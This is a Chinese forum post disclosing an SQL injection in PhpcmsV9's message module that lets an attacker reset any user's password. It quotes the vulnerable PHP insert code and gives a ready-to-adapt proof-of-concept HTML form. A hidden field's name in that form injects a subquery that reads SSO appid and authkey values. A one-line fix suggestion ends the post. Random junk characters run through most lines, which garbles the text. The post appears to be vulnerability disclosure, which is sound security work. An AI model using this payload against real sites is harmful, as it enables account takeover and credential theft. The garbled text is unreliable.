找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2074|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:( k0 O2 ~* U3 X  d( C5 W0 O
' u! z; k1 v' B  j* n( k" i
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。5 c/ h! l$ a+ Z) Z! X9 `; j

; i% @* j; F# r& a8 Y6 S3 J. g明天再更新下一个漏洞。
; ]( \: }( j2 @4 T' D; C  z详细说明:
  E: ?! w+ g+ y5 f在/phpcms9/phpcms/modules/message/index.php中有代码如下:- ^$ R" w* ]4 d/ {" N' R

+ T" e& b& _" n* X) S$ r$messageid = $this->message_db->insert($_POST['info'],true);3 c2 S3 ?2 X7 d3 R6 v, u; F
3 o; s, o* |0 J' T
) E6 X) @2 d9 T( |
insert方法是key value的,代码如下:" E  ~) L8 {# h5 R) \" U

( `) h1 K) V! @; l: }( Z6 ]public function insert($data, $table, $return_insert_id = false, $replace = false) {3 z4 U9 i: x9 k% s, h6 a9 i0 \
                if(!is_array( $data ) || $table == '' || count($data) == 0) {* T+ W1 F/ o6 `( P( X1 N
                        return false;! M7 P7 ~- V- ]6 V6 A2 [+ a
                }
  `! \; i* F! Y8 [7 C7 X6 n% {               
7 B$ @( o/ P5 x2 S9 m7 M9 I                $fielddata = array_keys($data);
0 D6 l! f7 a" p* r, V$ M4 g) l# l                $valuedata = array_values($data);( i, ?0 ?! b) g0 F, Y7 I7 M$ Z
                array_walk($fielddata, array($this, 'add_special_char'));. P( F& x3 i; M- j" M! E, ~; l
                array_walk($valuedata, array($this, 'escape_string'));
7 A: E5 Q- z: @+ r8 V: j% a                8 R- t+ Z4 n- r3 g  a  B6 ^& f
                $field = implode (',', $fielddata);
3 w: F0 ^" o0 y1 L+ G                $value = implode (',', $valuedata);( y) m  f+ ?# S

: Y  w, c$ V# a                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
% a1 S8 t3 @& p1 r6 c9 n                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';  _( i* Q% I7 p3 `% N' x
                $return = $this->execute($sql);
1 A; K7 ^, Z* f1 f( V( N) N6 e8 X                return $return_insert_id ? $this->insert_id() : $return;/ O( h# t& ]) A. o& R! Y
        }% R1 A) _8 ~* Z9 |; K3 r, n) l

9 F& s2 u% [. s
  X/ }: A0 t1 M' a1 Y, `3 \嗯,很遗憾的是
+ U# D3 |! k/ i7 V" w/ z0 ~, g; {  n9 [: `! A) e( C* {7 J
array_walk($fielddata, array($this, 'add_special_char'));1 _7 j* ^, X3 {/ }- y1 w

; T4 O; D# u- S4 @; B" a8 }
2 K3 K6 _6 g1 f6 L中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。" `2 B/ U0 a+ g3 b: s# N& R# g
" W# B8 W  o# m1 w  t# F8 C
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
) R. V& M: }1 R; ~5 \+ s
* m4 r' V% w9 p& g9 n  I5 U+ j漏洞证明:: \( r7 V  `1 ?/ ]
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。6 o5 A$ H* Q) }: R& l+ k

4 X3 h  N' `0 H7 f4 X4 d' h7 x+ @! X$ g
表单如下:用户名什么的得自己改一改。
# R& R1 e: _6 Y' @: b  R<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">( {: c/ v% s* H; t$ D
<table width="100%" cellspacing="0" class="table_form">7 ~; d1 i- O7 w$ i& v" k
<tr>
% o' E! F+ L! v% X<th>标 题:</th>& T% D6 o. O/ W2 f) N9 A
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
( I- z$ D7 p  Z  I. K</tr>
! t+ k/ ]+ H! B2 ^5 A$ A) k' s% L<tr>7 V- }4 {7 W. ^8 v- a
<th>内 容:</th>& r& ]! U6 u  F( D) Y: C
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>4 y8 g9 F; \1 N8 \; `
</tr>! R, L7 K. w9 M$ z! j
<input type="hidden" name="info[replyid]" value="2" /> : N! p" w; Z* _/ l$ S
<input type="hidden" name="info[send_to_id]" value="cc" /> / C5 K" Q4 m' f+ {! m+ m% I8 U" ^4 L
<input type="hidden" name="info[send_from_id]" value="hh">
) n1 P# h$ a* E6 I5 g<!-- 漏洞的利用重点在这里开始 -->
2 I7 g! w. ]' ~; P<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
# m5 \. L$ c6 J9 t& v0 \/ H<!-- 漏洞的利用重点在这里结束 -->3 I9 C: K4 M8 T$ m$ m. a$ Q! o
<tr>- b) J$ Z9 `$ u0 k  J# S' Y) e
<th>验证码:</th>
& i* I! c  E4 X<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>6 \. n! `8 t8 x1 w8 Q9 z; n
</tr>
7 @# H( F5 g, H+ |6 J<tr>
" n7 F3 v1 ?. R" k( h. Z<td></td>
3 u/ w6 Z& M; e# F" k3 W7 Y<td colspan="2"><label>+ h8 b5 P1 N' B- w5 n
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>- N1 ~: b8 m- V. V+ w0 I
</label></td>: B  f0 [' r  h; d8 N. S# K6 g
</tr>
. E4 y+ M# m' k2 U- t3 S+ U</table>3 D9 O+ C2 T  m  _3 q* I. s7 ?4 q( `
</form>1 {5 W/ m3 B1 |
在add_special_char函数内对key做过滤就可以了。
3 j" c3 `% j. C( K) [! q0 d, q3 j9 f& A. C; E4 v
8 }" u5 K, [9 v7 ^9 P2 Q
# {8 v; k/ U# b

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表